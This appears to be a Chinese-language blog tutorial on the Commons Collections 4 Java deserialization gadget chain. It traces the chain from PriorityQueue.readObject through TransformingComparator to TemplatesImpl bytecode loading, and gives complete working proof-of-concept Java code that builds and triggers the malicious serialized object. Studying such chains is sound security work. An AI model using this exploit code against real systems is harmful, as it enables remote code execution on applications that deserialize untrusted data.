前言
前面几条链都是CommonsCollections3中产生的反序列化漏洞,后来Apache更新了大版本4.0,也产生了反序列化漏洞。
环境搭建
- JDK8u65
- CommonsCollections4
1 2 3 4 5 6 7
| <dependencies> <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.0</version> </dependency> </dependencies>
|
CC4调用链分析
在之前的CC链中,有两种执行代码的方式InvokerTransformer.transform()
和InstantiateTransformer.transform()
动态加载字节码
因为CommonsCollections4取消了InvokerTransformer 的 Serializable 继承,所以只能通过动态加载字节码的方式反序列化。
所以接下来去找谁调用了transform()
方法
找到了org.apache.commons.collections4.comparators#TransformingComparator.compare()
,因为this.transformer
可控
接着找谁调用了compare()
方法,找到了 PriorityQueue.readObject().siftDownUsingComparator()
PriorityQueue.readObject()
中方法调用
整条调用链条,其实相当于入口类变了,新加了一个类,执行代码的部分和CC3是一样的
CC4编写
执行代码的地方和CC3是一样的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| public class Main implements Serializable { public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass(); Field nameField = tc.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates, "test");
Field bytecodesField = tc.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("C://Users//14341//Desktop/Test.class")); byte[][] codes = {code}; bytecodesField.set(templates, codes);
Field tfactoryField = tc.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates, new TransformerFactoryImpl());
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
Transformer[] transformers = new Transformer[]{new ConstantTransformer(TrAXFilter.class), instantiateTransformer};
ChainedTransformer chainedTransformer = new ChainedTransformer<>(transformers);
|
接下来就用TransformingComparator
去调用chainedTransformer
的transformers()
方法
TransformingComparator的构造函数能直接传入transformers
PriorityQueue的构造函数能直接传入comparator
走到这逻辑其实就走完了,当我们运行一下,发现其实并不能正常运行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
| public class Main implements Serializable { public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass(); Field nameField = tc.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates, "test");
Field bytecodesField = tc.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("C://Users//14341//Desktop/Test.class")); byte[][] codes = {code}; bytecodesField.set(templates, codes);
Field tfactoryField = tc.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates, new TransformerFactoryImpl());
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
Transformer[] transformers = new Transformer[]{new ConstantTransformer(TrAXFilter.class), instantiateTransformer};
ChainedTransformer chainedTransformer = new ChainedTransformer<>(transformers);
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer); PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
serialize(priorityQueue); unserialize("ser.bin"); }
public static void serialize(Object obj) throws IOException { ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("ser.bin")); oss.writeObject(obj);
}
public static Object unserialize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); Object obj = ois.readObject(); return obj; } }
|
调试代码
根据这个调用链去调试一下
进入heapify()
方法中我们想调用siftDown()
1 2 3 4
| private void heapify() { for (int i = (size >>> 1) - 1; i >= 0; i--) siftDown(i, (E) queue[i]); }
|
size大小最低为2的时候才能过这个判断,进入siftDown()
(size表示队列中当前元素的数量)
所以我们知道了需要至少两个元素,当我们有两个元素之后,序列化的时候执行了所有代码
因为add()
方法最终会执行到compare()
方法,导致序列化的时候就运行。
那这并不是我们想要的,我们想要他反序列化的时候执行。
修改方法如下:
完整代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67
| public class Main implements Serializable { public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass(); Field nameField = tc.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates, "test");
Field bytecodesField = tc.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("C://Users//14341//Desktop/Test.class")); byte[][] codes = {code}; bytecodesField.set(templates, codes);
Field tfactoryField = tc.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates, new TransformerFactoryImpl());
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
Transformer[] transformers = new Transformer[]{new ConstantTransformer(TrAXFilter.class), instantiateTransformer};
ChainedTransformer chainedTransformer = new ChainedTransformer<>(transformers);
TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1)); PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(1); priorityQueue.add(2); Class c = transformingComparator.getClass(); Field transformerField = c.getDeclaredField("transformer"); transformerField.setAccessible(true); transformerField.set(transformingComparator, chainedTransformer);
serialize(priorityQueue); unserialize("ser.bin"); }
public static void serialize(Object obj) throws IOException { ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("ser.bin")); oss.writeObject(obj);
}
public static Object unserialize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); Object obj = ois.readObject(); return obj; } }
|
参考连接
Java反序列化CommonsCollections篇(四)-摆烂的完结篇